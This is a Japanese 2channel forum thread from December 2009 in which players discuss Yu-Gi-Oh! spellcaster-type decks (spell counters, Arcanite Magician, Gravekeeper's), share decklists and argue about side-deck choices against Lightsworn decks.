>テンプレ強カード+魔力カウンター+こだわりのカード詰め込みましたって感じに見える 今の俺のデッキもそんな状態だ だってアカナ軸のデッキ組むなら猫シンクロで組んだほうが強いし テンペスターのバーンで終わらしたら白けるじゃない・・・
結束カウンター最強ってことで。
エンディミオン軸だけど所謂火力不足で詰まってしまった
518 :
495 :2009/12/07(月) 22:27:03 ID:FE4RssmJ0
みんな本当にありがとう。 おかげでいろいろ参考になったよ やっぱりこのデッキ方向性がよくわからないんだよなぁ、 魔法使いで固める理由がないのはごもっともだしな 俺は一応【都市アーカナイト】組んでるつもりなんだがなぁ… ちょっと話変わるが俺が出た大会は毎週やってて そのゴミと言い捨てたやつは毎週出てる常連だからこのデッキ強化して勝ちたいんだよね。 ちなみに相手はライロ。どうしても無理だろうか?
とりあえずナイトエンド3枚で墓地掃除? シンクロキャンセルを合わせれば相手の墓地は空になる シンクロキャンセルはアーカナイトと相性いいし
とりあえずカイクウでしょ どんな魔法使いデッキ組む上でも最優先でいれてるわ
ライロ相手だと厳しいな・・・ ナイトエンドで除外しつつアカナイ無双できればが勝ち筋か?
個人的にはライオウとカイクウがほしい。 それと余りすすめたくないんだがダグレとネクガもあり。 手札またはデッキにいるナイトエンドを無理やり墓地へ送りつつ、 おまけでネクガを墓地へ送れるので1キル耐性があがるよ。 なぜ、すすめないのかは使ってみると分かる。
太陽の神官を入れてる人いる? 簡易あればいらない感じですかい?
前スレに書いたが弾圧を上手く使えればカイクウさんとアーカナイトでライロは完封出来る、頑張って! 最近はライロに勝つことが最終目標になってきてるなー ライロ強いんだもん
ディザイシブアーマー入れとけば少しは役にたつ 結束軸だとしても効果使った時には終わるからそんなに関係ないし
>>523 神官と簡易融合を比べてみたけど神官の方が使いやすい
神官のいいところはクリッターでサーチできるのとカオス・ウィザードと違って奈落にかからないとこ、リミリバ対応かな
簡易はカウンターが乗るのが個人的に見逃せない。神官使った事無いけど
>>495 ライロは皆さんの言うとおりカイクウとかの除外は効果的。
他に群雄割拠とかを使うと裁きとか出せずにデッキ切れで落ちる場合もw
あとは、罠が少ないからフリーチェーンの咆哮とか入れてみては?
それと、495とゴミって言った奴(以下ゴミ)とのデュエルだけど、ゴミはライロ出すもババァとかにやられて、
495は次々と守備モンスターを出して防戦一方ってな感じになったんじゃない??
そんでもって、結局裁きで屠られてしまった・・・。
しかし、裁きが出るのが遅くてゴミが八つ当たりしたと予想してみる。
上記通りなら、相手のマナーはさておき495に決め手が無いのも問題だから、
>>521 の言う通り
軸を決めて調整すると◎。
先生と簡易の相性が良すぎるんだよなぁ 構築によってはレベル4~10までシンクロ先が選べちゃう
だがそのシンクロ先を簡易で狭めてしまうというジレンマ
俺も神官よりカウンター乗せられる簡易を優先してるぜ
普通の魔力カウンターなんだが見てもらえないだろうか モンスター14 番兵 偵察者3 風水師2 サモプリ フィシアリスト 先生3 マジカル ナイトエンド トゥーンヂェミナイ 魔法25 魔力掌握3 エンディミオン3 大嵐 洗脳 成金3 簡易2 結束3 もくじ3 テラフォ2 おろ埋2 ライボル2 罠1 狡猾 ・モンスター並べてターン譲ったあとのライボル裁き黒薔薇に弱すぎる ・狡猾ライボルでモン除去してから 結束先生テンペスターカウンター5個バーンでのワンキルを狙ってるつもりだが遅い inoutアドバイスお願いします。
個人的なオススメカードは我が身を盾に。 裁きの龍も黒薔薇もスタバさえも、このカードの前では沈黙するしかない。 あと、精神操作は入れておくべき。 先生召喚してから精神操作発動で相手モンスターを借りパクしつつカウンター2つ。 墓地からチューナーを引っ張ってくれば、先生を場に残しつつシンクロできる。 ワンキル狙いということだが、まずは【魔力カウンター】としての完成度を高めて、その上で改良した方が良いと思う。 成金やもくじのスペースに月の書、狡猾よりも強制脱出といった具合に、相手の行動を妨害しつつ カウンターを貯めるスタンスでも十分ダメージソースとして機能する。 その上で、黒薔薇は召喚させない、ライボルは打たせない。打たれたとしても最小の被害で止めるプレイングを心掛ける。 月の書や強制脱出なら自軍に使って緊急避難させることも出来る。そういう横の繋がりを意識すると良い。
ライボル黒薔薇はカウンターがあればディフェンダーで耐えられる。 トゥーンヂェミナイとか墓守を抜いて入れてみればどうだろうか。
535 :
495 :2009/12/08(火) 21:42:15 ID:O3RQ1NsA0
またまたみんなアドバイスありがとう。 やっぱりナイトエンド集めた方がいいんだなぁ チューナーはなるべく全部魔法使いにした方がいいのかな? コンダクターの効果を上手く利用する為にも。 あとおろかな埋葬なんかどうなんだろうか? カウンター貯められるしナイトエンドとか落とせるしね。 あとこんなこと言うのもなんだけど、 みんな、『ライロ対策』を教えてくれてるけど出来ればなるべく『ライロ対策』は 入れたくないんだよな。 「そりゃぁ、対策すれば誰だって勝てるわw」とか言われたくないし。 なるべく今のデッキの延長線上で勝ちたいって言うか… スマンみんなアドバイスしてくれてるのにこんな事言って。
>>495 現環境だと、やっぱり群雄割拠がオススメだな。
チューナー・チューニング先・シンクロモンスターを同一で揃えないと行けない上、
ライロや剣に対してもある程度制限をかけることが出来る。
これを狙うなら、チューナーが魔法使いな方が堅実。
後は
>>532 も言ってるが月の書とかの速攻魔法カードも使えると思う。
それと、下級アタッカーが少ないからアタッカーを入れるか、結束とかで底上げを
した方が良いと思う。
対策せずにどうやって【魔力カウンター】とかいうネタ分野でライロに勝つんだよ!! くだらないプライドは捨てるんだ
速すぎんだよなあいつら
tes
いわゆる「メタカード」を投入するんじゃなくて、魔法使いの長所を活かす形で対抗したいって事だろう。 そういう考えは嫌いじゃないぜ。俺もデッキを構築する上で、そういう「譲れない一線」みたいなモノは持っているからな。 特定のデッキへのメタだと思うからいけないんだよ。 自分の僕を守るための戦術、能力を活かすための構築を練り上げる上で必要なら採用を検討すればいい。 何にせよ食わず嫌いは良くない。気付いていないだけで、新たな戦術、シナジーが秘められているかも知れないからな。
そもそも対策せずにライロに勝てるデッキ自体もかなり限られるわけで 現状環境のすみっこの魔法使いを使う以上綺麗ごとなんて言ってられないぞ
譲れない一線(笑) だから勝てないんだよ
対策しなきゃ所詮ファンの魔法使いでトップと渡り合うライロに勝てるはずもない
ただ勝ちたいなら、それこそライロなりBFなり使えばいいって話になるだろ。 魔法使いでデッキを組み、魔法使いで戦うという事自体が、どう環境が変わろうとも俺にとって譲れない決意。 それを笑いたいなら勝手に笑えばいい。わざわざテーマデッキスレまで出向いてご苦労なことだよ。
なんでそんな芝居臭いんだ
ここは度々面倒なのが沸くなぁ
魔法使いで勝つために弾圧やらゾンキャリを入れるのは譲れない一線に触れてしまうんですか?www夢物語ですねwwww
今考えてたんだけどサクリファイスと里を組み合わせたロックデッキって絶対強いと思う 俺の持ってる材料は少ないから誰かかわりに作って大会で回してくれないだろうか てかこのスレ何でサクリファイスの話題が出ないんだ
決意は結構だけど、TCGってそんな意気込みや気合で覆るゲームじゃ無いぞ 残酷だけどその環境のカードプールで優劣というのは明確になってしまう 確かに、「勝ちたいならライロやBFを使え」って意見はバカだが 優劣が決まってる中で「ライロやBFに勝つ」って意見も同じぐらいアホ 言いたかないが、それは将棋とか囲碁の分野 割り切ってメタカードを入れるなりファンデッキの中で強さを追求するのがTCG 言っておくけど、これは遊戯王に限らないからな寧ろMTG何かはさらにシビア
フリー環境ならわかるけど大会で里だと乙るでしょ ライロもいるし、サイドメインの魔法使いの使用率は高いぞ
墓地荒らしなら寺生まれのカイクウさんや ナイトエンドを先生で使い回してれば?
>>551 カイクウはいいけど(寧ろ色んなトコに出張してる素晴らしいメタカード)
マジコン、ナイエンのコンボはぶっちゃけ遅い
結束魔力カウンターじゃライロには手も足も出なかったが 拳闘獣ならなんとか渡りあえるわ
確かに大会のライロ遭遇率って高いよね サクリファイスは蘇生手段も豊富だし制圧力もあるから里とマッチすると思うんだけどな・・・
ここはただ煽りたいだけの人がよく沸くなぁ
>>548 儀式スレがあるだろ
カード持ってなくてもプロキシなりCGIで回せ
魔法使い要素を無くさずにメタヲはりつつ戦えるデッキは ・カイクウやナイトエンドで墓地を枯渇させなあgら戦うデッキ ・里メタビ ・墓守 ぐらいしかないんだよな。
ナイトエンドと5星モンスターのシンクロを重視しのシンクロをしてシンクロキャンセルを 多様するってのはどうだろ? さらにリミバを追加して、それで赤騎士を呼んできて都市のカウンターで一掃し シンクロキャンセルでナイエン再召喚で2枚除外で、再度シンクロで2400の赤騎士。 出来れば、掌握で赤騎士3400にする!! とりあえず、こんな感じで勝ち筋を考えてそこに行き着くまでにどんな邪魔が入って、 どうしたら回避できるか? また、どうしたら素早くor安定的に進められるかを考えて! とりあえず、カイクウは2枚除外の他にネクガとかの除外も防げるからかなりお得だと思う。 それと書いてて思ったがリミバとキャンセルのコンボはナイエンを使えば強力だが、 使わなくても除外が出来なくなるだけなので、無くてもokな気がしてきた。
キャンセルにリミリバに都市に掌握って事故率高すぎだろ… つうか直接的なアドが取れないのにキャンセル使うのは割りに合わない 勝ち筋も貧弱だしハイリスクローリターンだと思う
っとアーカナイト出せば一応アドは取れるか
つか、アーカキャンセルなんてもう作られてるけどな まあ、アーカで壊した後、キャンセルからDDBになるってタイプだがな 結局アーカ→アーカってパターンはほとんどならない なる必要がない(4枚も壊すものないっと) ぶっちゃけオーバーキルって結論だったはず
>>560 キャンセル後は破壊じゃなくて攻撃力分確保のための再度シンクロ。
ヒントとなったのはおっしゃる通りDDBだけど、それは内緒にしてほしかったよw
~~~~~~~~~~~~~~
後、事故率を無視すればだけど
リミバ→見習い暴走→赤騎士にカウンター+3って面白くない?
残念ながらトップ環境でアカナイにカウンター残したまま相手にターンなぞ渡せないけどな アカナイがアタッカーってのが悲しいかなファンデッキ環境
アーカ使うなら偵察広げて猫だして ベルンケルべから1Kill狙いに行くのが一番ラクでしょ
結束軸組んでる人に聞きたいけど、アカナイ何枚入れてる?
>>561 楽しさを追求してるのか?
だったら俺は「サークル→弟子→賢者の宝石→師匠」
より楽しいギミックなんてないな
楽しさだけの追求ならそれこそグレートモスやアーミタイルって人もいる
楽しさと強さをどこまで共存出来るかって話だと思ったんだが?
>>561 乗ったカウンター3個を使って相手のモンスター3体除去で3600ダメージか
悪くはないけど一発ネタって感じだなw
たぶん1回やったらそれで満足する
>>562 いやいや、好きなカードをいかに活躍させるのがファンデッキの醍醐味でしょ。
>>565 とりあず、ライロ相手に長所で倒すってことを考えてたら上記の手段コンボを思いついた。
追求しているのは強さだけど、活躍させる手段を考えるのって楽しくなりません?w
>>566 あくまでこれはきっかけ作りです。
>>495 はメタらず現状を強化した方向で構成したいとのことだったので、
破壊力を突出を目的として考えました。
-------------
ソリティアになってしまうが、場上が先生・都市・リミバ伏せで、リミバで赤騎士を呼んできて、
キャンセル→赤騎士2400→先生効果→見習い→暴走→都市と先生のカウンター取り除いて敵モン破壊
ってやれば、かなりの破壊力になる気が・・。
とりあえず、メタらずに行く方だと今のところ思いつかないのでこの辺で・・・。
今までお前さんが長々書いてきたことが本気で決められると思ってる? みんなにお前さんのはただのネタだって言われてるのちゃんとわかってるよね? 「強さの追求」に関してはもうしばらく受け手に徹した方がいいと思うよ
俺のデッキ、エロとロマンしかつまってないから話にならんよ。 みんなはエロ要素だけは外してね。
酷な話だな いっそ人型モンスター入れない魔法使いデッキにしてみるか 図書館マジエクぐらいしか思いつかないが
マンドラゴラたんが泣いています
テンペスター軸作ってる人いる? 作ろうと思ってるからアドバイス頼む
また自称ガチなやつが湧いてたな。
なんでそんなに殺伐としてんのさ
勝ちたいのに勝てないからじゃない?
あら可愛い、挙句チューナーか 遊星、ちょっと指どけろw
黒薔薇魔女に次またアイドルチューナーかワクワクしてきた
蟹やはりショタコンだったか。ラリーのあたりからおかしいとは思ってたさ
ぺったんこだから男だとかどことなくボーイッシュだから男だとか…お前らはそれで満足なのか!? 俺は確定情報が出るまでは満足は取りおくぜキリッ
墓守に魔法使い族☆3チューナー入れたいから調べてみたら風水師しかないんだな
>>576 に期待
可愛ければちんこ生えてても問題ない
>>581 でも、ダルクが男なのか女なのかの裁定は結局もらえなかったんじゃなかったか
5Dはメインキャラが魔法使い使ってくれるからいいな
>>584 性転換の魔法を使いまくって元がどっちだか分からなくなったんだよ!
>>535 再燃させてしまうようで悪いが、長文失礼で一つ
モンスター除去も魔罠除去も立派な『対策』の一つなんだぜ
殆どのデッキには激流葬(今なら狡猾か)や大嵐くらいは入れるだろう?
何故入れるか、全てのデッキに有効だから?
フルモンスターやノーモンスターってジャンルもある、一概には言えない
それでも『今の環境なら大抵刺さるから』入れるんだ
今のトップ環境で墓地利用しないのは次元系デッキくらい
ライロにアンデにダーク系、(一部の)BFや剣闘、俺達魔法使い族だって墓地を利用するデッキの一つだ
今の時代、墓地を掃除する事は各種除去と同じくらい重要なんだ
墓地除外がライロ(特定のデッキ)対策って認識は古い
除外を使う為に無理して次元に手を出す種族デッキだって大勢有る
同種族に墓地掃除のできる要員が居るってのは魔法使い族の大きなアドバンテージ、活かせるなら活かすべきだ
「そりゃ、対策するなら~」とか言ってくるようなら「ハイリスクハイリターンがライロの特性だろ、もしかして知らなかった?」でおk
588 :
名無しプレイヤー@手札いっぱい。 :2009/12/10(木) 20:06:51 ID:k1QnCzIf0
頼むよテンペスター軸のアドバイスくれよ 検索しても微妙なのしか出てこないし 大体1キルの成功率ってどれくらい? 1キルじゃなくても戦えるの? やっぱりコンダクターは出ないと勝負にならない? そうするとサモプリとサモプリのサーチ必要? 教えてよ!?ねえ教えてよ!!???
なんか、つまらないスレッドになったな。
1キルの成功率はとても低いよ デッキパワーが低い相手なら1キルじゃなくてもアーカナイト出せるようにしとけば戦えるよ コンダクターは1キルのエンジンだけどAKBする分には都市があれば サモプリはいて困らないよね 教えたよ!ねえ教えたよ!!!
何とか魔法使いで頑張ろうとしてるヤツに、したり顔で「身の程を弁えろよww」なんて言ってれば、そりゃ誰も来なくなるだろ
FLも魔法使いなのに別スレなんだよな 新カテゴリ嫌いなのか?
あっちがぎゃーぎゃー五月蝿かったので
こっち来られても困るだろ
>>590 どーも
つまりテンペストバーンじゃなくてAKB48のほうが良いってことですね
>>592 情報が出た時勝手に立てた人がいたんじゃなかったかな。
糞スレ扱いされてたけどせっかくだからとヴィジョンや光と火について適当に言ってたら、
新カードの情報が来て本家魔法使いよりも勢いが出たので存続してた。
んでだいぶ落ち着いてきたからこっちと一緒でもいいんじゃないかとなった時に、
こっちで反発され、あっちも勢いに差がないからこのままでいいとなったのが現状じゃないかと。
反発してたやつなんていなかったぞ 墓守と統合したんだからついでにFLスレと統合しないのか?って言ってる奴が何人かいた でもFLスレはその時まだそれなりに勢いあったからそのままお流れ それからは一度も統合するかという話題すら出てないだけ
闇デッキと生贄と結束で先行1ターン目で泡吹かせたい
>>584 ダルクが男なのはコナミ公式。TF4でフィギュアの説明に「男性」と明記されている
600
601 :
名無しプレイヤー@手札いっぱい。 :2009/12/11(金) 12:57:43 ID:GZCNsHVPO
魔力カウンター型のデッキに漆黒のパワーストーンは必要だろうか?
要らんわ
初心者でもそんな事聞かないわ
ダルク抜くわ
ダルク抜けるわ
606 :
名無しプレイヤー@手札いっぱい。 :2009/12/11(金) 22:21:20 ID:vurTK04/O
漆黒のパワーストーンは弱いから要らない
アーカナイトで除去に変換してもちょっと
カード一枚で3枚除去とかつえええええええ って思ったことあるやつはけっこういるはず そして実際使ってみて邪魔なことに気づく
ダムド「呼ばれた気がしたので」
パワーストーンと同じで、魔力掌握も。 アレは抜いた方が強いわ。
>>610 それ【魔力カウンター】か?
アーカビートかになっちゃってない?
魔力カウンターならあっても邪魔にはならんぞ
ただ、魔力カウンターがトップに絶対勝てないってのはその通りだけどね
掌握なんて使用者を選ぶ典型的なカードだろう
掌握は俺も抜いたな。アドが全く取れない。 普通の魔法で事足りるわ、テンペスで1killでも狙わない限り。
アドが取れないって… 使っただけでアド取れるカードなんて今大嵐ぐらいだろ?
アドは関係ないが俺も使ってない コンボ前提のカードを増やしたくないのと、普通に都市に溜まる分で十分なので。 テンペストを主軸にするならもくじの方が使いやすかったかな
そのもくじも入れてない俺、理由は同じ 何も考えず突っ込んだ地砕きだの月の書の方が使いやすいし便利だ
都市にスロット割きたくないから掌握入れてるな
言い方が悪かったな。
>>617 の通り、掌握でカウンター乗せるより除去魔法でも使った方が全然良い
もくじならともかく掌握があるからってテンペスト1キルは決まらんぞw どっちも入れないけど
掌握は発動回数制限がなくてもよかった あったからこそのごらんの有り様
デッキ圧縮になるし入れてもいいと思うけどなぁ
何の脈絡も無いが墓守デッキを晒す モンスター14枚 暗殺3 偵察3 司令官3 トマト3 末裔 ゲイル 魔法16枚 バレー3 テラ2 王家の生贄3 誘惑2 割れ2 砕き 嵐 サイク 洗脳 罠10枚 降霊3 幽閉3 奈落2 ミラフォ 宣告 モンスはこれが鉄板だと思う。末裔の最適枚数はよくわからない 幽閉奈落ミラフォ割れ砕き誘惑は、とりあえず無難なのをぶち込んだだけ まだ今の環境がわからないけど、このままじゃライロあたりにはフルボッコされそうな気がする
王家かますんならターンが早い方がいいから手札抹殺くらいはあっていいと思う むろん石板は必要だと思う
洗脳 テラフォ2 降霊1~2はいらないと思う。 誘惑はモンスターが少ないのにわざわざ減らすのは危ないんじゃないかな? 末裔は2枚でいいと思うけど、そちらが回して見て一枚で充分ならそれでもいいと思う。 生贄はライロアンデと魔轟神の存在から3積みは危険。 前者ならバレーがあればなんとかなるだろうけど、後者はキャシーが入っている タイプがあるから気をつけといたほうがいいよ
海外新規に墓守と魔法使いサポートってあるな
>>626 何?
そろそろ魔法使い限定☆8シンクロで強力なものが出ても・・・
速さが足りなすぎ
速さは問題ないだろ・・・ むしろ展開力
20分近く間が空いたら安価つけていただかないと分かりづらい
>>623 誘惑を速攻魔法(月の書や果実)に変えた方が良いと思う。
そのままだと降霊があっても除外して使えないということになりかねないと思う。
あと、生贄3は事故る可能性が高いから1枚は石版の方が安定する。
なぜなら、司令官を回収すれば更なる使い回しが出来るので、テラフォ入れなくてもかなり回る。
逆に墓地から魔法カードを回収するカードがほしいくらいだ。
それと、大神官はかなり使えるカード。うまくいけば裁きすら倒すことも可能!
>>625 魔轟神はサイドから魔デッキ入れればなんとかなるべ
それほど気にする存在じゃないと思う
本スレで魔法使いに関する新しい情報が出たらコピペしてほしいぜ
本スレ見れば良いじゃん IEじゃあるまいし
新パックとVジャン前は見るけどね 普段は話題がカオスすぎてついていけない
なりきりと定番ネタしかないからな普段は
ウイルス墓守を考えてみた 上級3 墓守の大神官x2 下級モンスター14 墓守の司令官x3 墓守の偵察者x3 墓守の暗殺者x2 墓守の長槍兵x2 墓守の末裔 x2 墓守の番兵 x2 魔法11 王家の眠る谷 ネクロバレーx3 一族の結束 x3 トレードインx1 王家の生贄 x2 墓守の石版 x2 罠13 魔宮の賄賂x3 闇デッキ x3 群雄割拠 x2 降霊の儀式x2 魔デッキ x1 激流葬 x1 神の宣告 x1 バレーと結束で墓守の攻撃力を上げそのままビートor闇デッキの生贄に 基本的には師匠ウイルスと同じ
宝玉獣にすら勝てない・・・俺の魔力カウンター・・ボケステ
>>639 両方使ってる俺から言わしてもらうと宝玉獣なめんなカス
師匠結束ビート使ってるが、倹約術さんが空気でワロス 我が身とかカーテンのコストを消してくれるのは有難いんだが、その1枚のスペースを他に回せそうで悲しい
折れ竹光にすら勝てない・・・俺の魔力カウンター・・ボケステ
エロの話か
どうでもいいけどボスケテな
アーカナイトビートって 基本アカナイを守りながら、除去能力で敵を蹴散らし 空っぽの相手を殴るってことだよな? アカナイを守るカードって何がいいだろうか?
ディフェンダー
使ってみたが、やはりコンダクターがいて魔力カウンターがたくさんないとキツい
大会にて墓守を使用、26人中2位でした。 モンスター×17 暗殺者×3 偵察者×3 末裔×3 司令官×3 サモプリ×1 フレムベルマジカル×2 デスカリ×2 魔法×17 ネクロバレー×3 石版×3 王家の生け贄×3 月の書×3 ボルテックス×2 サイクロン 洗脳 ディメンションマジック 地砕き 罠×6 奈落×2 幽閉×2 激流 ミラフォ EX×15 スタダ×2 あとは必須系1枚づつ 墓守に栄光あれ!
魔法18枚でした、失礼orz
>>649 宣告・賄賂・スタロは特に必要だと思うことはなかった?
メインのコンセプトでスタダをシンクロし続けるだけで間に合ったのかな?
サイドにスキドレは入れてた?
>>651 1:宣告はライフアド、賄賂は単純1アドつくのが厳しいので不採用。
尚且つカウンターは、マストカウンター的なもの(大嵐等)のときにセットしてないとあまり使う場面がないのがしょっぱいところ。スタロも同じ。
2:スタダというか、シンクロはおまけ程度に考えてました。実戦でもシンクロした回数は3回でした。
サモプリはマジカルのほかにも、攻撃はできないがデッキ内の全墓守を呼べるのが中々強い。
3:サイドにスキドレは不採用でした。
やはりライロ系が怖いところでしたが、基本的にメインから対処できるので思い切ってみました。ライロ系には計2回あたりましたが、どちらもスト勝ちでした。
サイドには弾圧や次元等厄介な罠を割るためにブレイカーを3枚、意外と次元エアトス系に刺さるデッキなので鉄壁を3枚、鉄壁を積んだ際に幽閉と入れ替えように炸裂装甲を採用していました。
コスモや氷をトレインでまわして 蘇生させウイルス放つデッキってどうなんだろ ブラマジより安定はしないだろうけど 誰か作った人はいないんかな
前に作ったけど普通にブラマジウイルスのほうが安定したな トレインも事故要素だったしさらに言えば結束でおkって感じだった
氷の女王をなんとか活用したかったんだが… 他に活用する方法がわからない
>>656 炎と水で固めて氷炎コストに除外→DDRとかどうよ
>>656 コスモ・クイーンといっしょに女王様デッキなんてどうだい?
里やスキドレを貼ると中々楽しいよ
DDRってかなり重いカードだからあまりデッキに入れたくないんだよ・・・
>>652 かなりしっかりした解説が返ってきて納得してしまったw
なるほど理解しましたよ
ちゃんと自分のデッキについて構築説明できる人は割りと
強いと思うしそれも結果に出たんでしょう
大会乙でした
>>649 墓守と言ったらカウンターフル積みという固定観念があったから
カウンターを積まないってのは衝撃的だった。
谷が割られたらどうしてたんだ?
やっぱりそのターン除去で凌いで即二枚目とか?
シンクロがおまけなのには同意。
スタダ出せてもわりと簡単に対処されるんだよな。
それならアタッカー出して殴った方が得策という。
エンディミオンでフィールド張替え合戦になる場合はどうしても負ける・・・ みんなどんな対策してる?
ツイスターとか封魔の呪印とか その話題よく出るからログくら読もうぜ
>>660 ありがとー
>>661 【バレーが割られた場合】
おっしゃるとおり、そのターンは除去等で凌いで、バレー2枚目というパターンです。
谷を張ってる状態で、大嵐やサイク等を打たれても被害が少ないようにカードをプレイすることを心がけていました。
末裔が登場してくれたおかげで凌いだ後の返しが非常に楽になりました。偵察者→末裔の強さは半端ないです。
末裔かわいいよ末裔。
ピン刺しディメマの使い勝手を伺ってもよろしいか?単純に興味がある
666 :
664 :2009/12/16(水) 01:09:54 ID:Me2ckJ2c0
>>657 水を生かすとなるとそれもいいが氷の女王である意味があまりな
>>658 里にスキドレか、効果を阻害しないし面白そうだ
トレインと預言者入れてぶん回してみようかな
GSにマジヴァルだと
診断お願いします <上級×1> ダークアームドドラゴン <下級×18> ブレイカー×3 見習い魔術師×3 カイクウ×2 ジャンクシンクロン×2 レアルジェネクス・コーディネーター×2 トゥーンヂュミナイエルフ×2 クリッター メタモルポット サモプリ フレイムベルマジカル <魔法×19> 魔法使いの里×2 強制転移×2 月の書×2 テラフォーミング×2 闇の誘惑×2 簡易融合×2 サイクロン 我が身を立てに 精神操作 洗脳 貪欲な壺 <罠×3> 王宮のお触れ×3 魔法使いメタビで作りました。 相手のモンスターのコントロールを奪いつつ罠と魔法を封じるコンセプトです 見習い魔術師召喚→強制転移→自軍フィールドにsetといった感じです 回した感想は魔法使いがフィールドに残らないといった事があるという事です お願いします
>>669 里のために結束型魔法使いにしたら?
コントロール剥奪してどうすんの?
自フィールドに残すべきは魔法使いだから剥奪より除去のほうがいいと思う
ちょっと気になったのだが、お前ら罠は何をチョイスしてるんだ? 俺は防御魔法を大量投入し、罠はお触れだけに任せているのだが 除去されそうになってもディメマがあるし 魔法族の里+お触れなら怖いのは効果モンスターだけになるからなあ
デッキによって といえばそれまでだが弾圧と天罰をサイドで変えるくらいかな
ちょっと気になったんだけどドローソースに何をチョイスしてる? 闇の誘惑?魔法族の結界?メタポ?
魔法使いらしく仮面魔道士使ってやろうぜ
>>674 ドローできるまでにラグあるからな・・・
見習い魔術師を暴走召喚して結界のカウンターを一気にためる 一匹は結界と一緒に墓地に送り、もう二匹は満足神の生け贄にする 魔法使い族でメタポ使ってる奴なんて俺は認めんぞッ
おまいらマジヴァル手に入ったら入れる? イラスト補完で…
>>677 既に持ってるが、彼女は魅惑の女王のお守りで精一杯らしくて・・・
>>679 まぁ、精一杯だろうな・・・・ところで魅惑の女王はLv.5が一番良い(イラストが)と思うのはオレだけだろうか
681 :
初投票 :2009/12/17(木) 22:24:40 ID:wBhkzdVF0
誰かいます?
682 :
名無しプレイヤー@手札いっぱい。 :2009/12/17(木) 22:26:43 ID:wBhkzdVF0
ぼくもそう思う
だよな ほしゆ
以下今週のアニメで蟹が使った新魔法使いについて
わぁいかと思ったら普通に女の子だった
ニーソktkr
テキスト エフェクト・ヴェーラー 光属性 魔法使い族・チューナー レベル1 ATK0 DEF0 手札のこのカードを相手ターンのメインフェイズ時に自分の墓地へ送ることが出来る。 この効果を使用したターン、相手フィールド上に存在するモンスター1体のモンスター効果を エンドフェイズ時まで無効にする。 破壊できなく、チェーン2に発動できないテクレアラー
ワンポイントレッスンにカードが載ってたな
俺の光軸サイマジの相方に決まったなその子
サニピクよりは使い勝手いいか
死皇帝の陵墓軸の闇紅&操り人形ビートを使ってる者なんだが、 マジカル・コンダクターは積んだ方がいいのかな?
>>691 どんなデッキ構築によると思うけどいらないと思う。
お前らの魔力カウンターってどれぐらいの相手に勝てるレベル? 植物とかの準ガチにも勝てるす?
>>693 準ガチシンクロに勝って検討獣に負ける
あと弟のライロには勝つ
今日テラフォ2枚、ディメマ2枚外したら劇的に変わったわ・・・ やっぱ奈落とか直接相手に損害与えるカードのほうが強いな・・・
ディメマって実際に使ってみると「あぁ、これディスアドだわ」って実感するよなぁ。
奈落激流葬を気にせず出せる…なんて大したことではないか
ディメマって魔法の対象にならないモンスターも破壊出来るんだな 初めて知った
他の種族にあるような使いやすいサポートがないなー 各テーマの方向性が違いすぎてサポートを共有できないのが原因だろうか
紅闇の魔導士をうまく使いたいんだけど 積んだりする枠がないんだよね
闇紅は1ターンに1回ってのが痛い
結束で大分使い易くはなった>闇紅
704 :
691 :2009/12/20(日) 20:21:59 ID:zZB0zmt20
デッキ診断をお願いしたいのだが、いいだろうか?
デッキは死皇帝の陵墓軸上級魔法使い族ビートだす
モンスター 17枚
『上級 5枚』
闇紅の魔導師×2、魔法の操り人形×3、
『下級 12枚』
見習い魔術師×3、執念深き老魔術師×2、魔道騎士ディフェンダー×3、
魔導戦士ブレイカー×3、召喚僧サモンプリースト
魔法・罠カード 23枚
『魔法 20枚』
魔力掌握×3、死皇帝の陵墓×3、一族の結束×3、終焉の焔×2、サイクロン
ハリケーン、洗脳-ブレインコントロール、光の護封剣、月の書×2、強制転移、闇の誘惑×2
『罠 3枚』
リビングデッドの呼び声、激葬流、マジシャンズ・サークル
死皇帝の陵墓や見習い魔術師、黒焔トークン等から闇紅の魔導師&人形を召喚し、
ブレイカーを含めた上記の三体で相手のフィールドを荒らすのがこのデッキの戦い方なんだ
基本的に効率よくカウンターが溜まるから効果は発揮しやすく、一族の結束で戦闘にも強いけど、
…出来るならもっと強くしたい。抜くべきカードや入れるべきカードを教えてくれるとありがたい
>>700 魔法使いサポートは強いけど癖も強いから困るw
シンクロ一式入れたら強くなるよ
>>705 適当なアドバイスすんなよ
俺もアドバイスできる程強くないがだったら黙ってろ
コンセプトの中では出来上がったデッキだと思う レシピを見た中では、強くないデッキだと分かるが弱いポイントが見つけられない
>>704 昔使ってたデッキと少し似てる
手札がかなりキツくなるんだよな…
ジェスター・コンフィはどうだろう
サルベージ魔法や貪欲な壺が採用圏内に入ると思うが
あとは防御しつつ次の召喚に繋げられ、一族の結束を阻害しないバトルフェーダーとか
里メタビでジャンフェスの当日大会参加してきたけど カイクウの刺さり具合が半端ないな
>>710 カイクウ、ナイトエンド使えば本当に気持ちいいよなw
自分もジャンフェスで里メタビ使ったけど ジョウゲンさんも面白いほど刺さったよw
713 :
名無しプレイヤー@手札いっぱい。 :2009/12/20(日) 22:46:29 ID:E+V3HxOQ0
それに比べてメイコウというやつは…
やっぱ闇紅使うなら
エンディミオンより
>>704 のような型のほうがいいかな
魔法使いっぽさを引き出すために、ディメマ、サークル、クロス、拡散、Et cetera・・・ 入れれば入れる程ガチから遠ざかっていくというジレンマ・・・ まぁ、面白いんだけどな
1ターンに一度ではエンディミオンに肩代わりされるまでもないからな
>>715 【魔法使い族】が早くから確立していたツケが回ってきたな
混沌の黒魔術師の復活を! 無理か~
>705 魔法使いからは外れてしまうが、深海のディーヴァ3+氷弾使いレイスor海竜属☆3以下は元デッキの構築をあまり変えずにシンクロを導入できるので良いぞ。 私はディーヴァ3レイス1で墓守にシンクロを導入した。 場に墓守が一体でもいたら4+2→6+2→8でスターダストまで行けるからバレー展開できていなくてもシンクロでわりと戦える。 8シンクロへの中継役に入れていたCドラゴンが地味に良い働きをしてくれる。たまにゾンキャリとか落とすがトータルでは墓地封じと合わせて良い仕事をしてくれる。 まだABPFの新人墓守を導入できていないのだけど、皆さんはどんなバランスで新人を採用してますか?
俺の純正墓守には末裔3に大神官1入ってる 末裔は基本1~2っていう概念が強い人が多いのか、3体目出すとすごい嫌な顔される 大神官はオマケ程度だけど出ると超強い
>>720 石版があるからな
末裔カッコヨスwww
伊達に末裔じゃないからな
>>719 俺もこの前まで二枚でやってたけど、奈落とかされると回収できないから三枚にした。
暗殺者と違ってネクロバレーがない状態でも降霊の儀式とか偵察者使って効果発動できるからね。
お陰様で降霊の儀式も三積みになったよ。
